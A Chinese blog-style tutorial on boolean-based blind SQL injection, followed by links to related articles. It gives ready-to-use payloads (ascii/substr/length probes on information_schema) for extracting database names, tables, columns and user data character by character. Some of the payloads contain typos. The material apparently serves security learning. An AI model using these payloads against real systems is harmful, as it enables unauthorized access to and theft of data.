SQL注入之布尔型盲注
什么是布尔判断SQL注入?
“布尔判断”指的是利用SQL语句**逻辑与(and)**操作,判断and两边的条件是否成立,SQL语句带入输入库查询后判断返回内容(通常返回值仅有非空和空两种状态),类似布尔型的true和false的两种状态。
布尔盲注步骤:
第1步:确认注入点
方法:通过增加 ’ 和增加--+注释符,语句从执行失败变为执行成功判断注入点
第2步:判断数据库版本
方法:主要因为5.0版本以下没有information_schema数据库,无法进行手动注入; 由于无法回显数据,利用逻辑操与数据库版本第1位数字字符做判断; 语句:?id=1' and left(version(),1)=5 --+
第3步:判断当前查询数据库的长度
方法:由于无法回显数据,先判断当前数据库的长度,减小后面猜解数据库名称工作量; 语句:?id=1' and length(database())>8 --+
第4步:猜解当前数据库名称(本步骤需要重复)
方法:利用第3步确认的数据库长度,结合substr函数,一个一个字符猜解,利用二分法; 语句:?id=1' and ascii(substr(database(),1,1))>110 --+
第5步:猜解数据库名
方法:猜解方法和第4步类似,通过substr和ascii函数来判断和猜解,函数一样,语句复杂些; 语句:?id=1' and ascill(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>98 --+
1)如何猜解第一个表的第二个字符?
方法:substr (***,2,1);substr函数的起始位置是从1开始的,切记 语句:?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),2,1))>109 --+
2)如何猜解第二个数据库名?
方法:limit 1,1;(limit是从0开始的,切记,每次从schemata表中取出下一条记录) 语句:?id =1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>99 --+
第6步:猜解数据表名(仅查询当前数据库,利用database函数)
方法:方法和之前类似,如果经常当前表,第5步可以省略 语句:?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>110 --+
1)非当前查询数据库,方法1
方法:该方法需要利用到第5步猜解出数据库名,比如叫schemaname(需要更换为实际); 语句:?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>110 --+
2)非当前查询数据库,方法2
方法:利用正则表达式的方式 语句:?id=1' and (select 1 from information_schema.tables where table_schema='库名' and table_name regexp '^user[a-z]' limit 0,1) --+
第7步:猜解数据表列名
方法1: 方法:和第6步类似 语句:?id=1' and ascii(substr((select column_name from information_schema.columns where table_name="user" limit 0,1),1,1))>71 --+
方法2: 方法:利用正则表达式的方式 语句:?id=1' and (select 1 from information_schema.columns where table_name='key' and column_name regexp '^ke[a-z]' limit 0,1) --+
获取数据布尔注入实战:
(1)判断闭合情况
(2)获取数据库名 先得到数据库名的长度 and length(database())>5, 改变n的值依次获取数据库名的字符 and ascii(substr(database(),1,1))>97
(3)获取表名 先获取表数量 and (select count( *) from information_schema.tables where table_schema=database())>5
再用limit依次获取每个表名的长度 and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5,
最后获取每个表名的名字 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97
(4)获取列名 先获取列名个数 and (select count( *) from information_schema.columns where table_name='users' and table_schema=database())>5,
再获取列名长度 and (select length(column_name) from information_schema.columns where table_name='users’ and table_schema=database() limit 0,1)>5,
最后获取列名 and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))>97
(5)获取数据 先确定第一个用户名长度 and (select length(username) from users limit 0,1)>5 and (select length(key
) from dotaxueyuan.key limit 0,1)=11--+
再确定用户名每一个字符的对应字母 and ascii(substr((select username from users limit 0,1),1,1))>97 and ascii(substr((select key
from dotaxueyuan.key limit 0,1),1,1))=97
布尔盲注我也不是很懂,只能分享一些大致的步骤
SQL注入之布尔型盲注相关推荐
- SQL注入——基于布尔的盲注(八)
本章目的 普及布尔盲注技术的运用场景及条件,熟悉length().substr().ascii()等函数的用法,掌握基于布尔的盲注基本流程.PS:面试回答主要为对错论 基本概念 盲注 在SQL注入过程 ...
- iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时间型盲注)
系列文章目录 iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的 ...
- SQL注入——基于时间的盲注(九)
本章目的 普及延时盲注技术的运用场景及条件,熟悉length().Substr().ascii().sleep().if()等函数的用法,掌握基于时间的盲注基本流程.PS:面试问答不深问就回答延迟 基 ...
- mysql盲注_Mysql 布尔型盲注手工注入详解
0x00 什么叫布尔型盲注 布尔型 布尔(Boolean)型是计算机里的一种数据类型,只有True(真)和False(假)两个值.一般也称为逻辑型. 盲注 在注入时页面无具体数据返回的注入称之为盲注, ...
- SQL注入--报错和盲注
目录 报错注入 floor函数报错注入 extractvalue()函数报错注入 updatexml()函数报错注入 盲注 布尔盲注 时间盲注 报错注入 文章内容篇幅较长,请认真研读 回顾之前的文章( ...
- 布尔型盲注Python脚本
好久没写python了,就想着写个简单的练练手,写个布尔型盲注自动化脚本,参考sqli-labs里面的盲注漏洞进行的脚本编写. 因为写这个脚本时Python水平有限,现在也懒得改.当时就是写着玩,望师 ...
- SQL 注入漏洞(六)布尔型盲注
一.代码分析 在页面中不会显示数据库信息,一般情况下只会显示对与错的内容. 接收 id 的值,直接带入查询,如果存在即返回 users is exists in the database,否则显示 u ...
- sqli中时间型盲注和布尔型盲注实现
布尔型注入: 等待时间较长,但容易受网络波动影响,所以无法作为绝对判断条件. ②利用length语句判断数据库长度 http://127.0.0.1/sqli/Less-8/?id=1' and le ...
- SQL注入-不再显示的盲注
Blind SQL(盲注) 是注入攻击的其中一种,向数据库发送true或false这样的问题,并根据应用程序返回的信息判断结果,这种攻击的出现是因为应用程序配置为只显示常规错误,但并没有解决SQl注入 ...
最新文章
- 数据结构与算法(7-4)最短路径(迪杰斯特拉(Dijkstra)算法、弗洛伊德(Floyd)算法)
- linux awk 用一个或多个空格做分隔符
- 在苏州的一个超级棒的事情
- android 页面标题,Android v4包下的PagerTitleStrip,ViewPager的页面标题
- 很少使用“ ControlFlowException”
- 详解图像处理的算术运算与逻辑运算
- 中国塑料瓶和容器市场趋势报告、技术动态创新及市场预测
- biztalk 2006 产品的版本以及适配器相关信息
- java visibility_浅析Android中的visibility属性
- 一篇搞定 Redis6(完整版)
- 错误使用 eig 输入矩阵包含 nan 或 inf_特斯拉AI主管提醒你神经网络的几大常见错误...
- 计算机与代数---如何计算log---方法推理[1]
- lammps案例:空位缺陷对石墨烯力学性能影响模拟
- 矩阵求导公式的推导和计算(公式推导法)
- Injective Protocol官方文档翻译(九) -清盘、清算(Liquidation)
- APP云测试平台分享
- 查找Mac序列号的9种方法
- android中按钮凹下去,实现按钮的点击效果
- LaTeX技巧-排版大括号
- C#的OpenFileDialog和SaveFileDialog的常见用法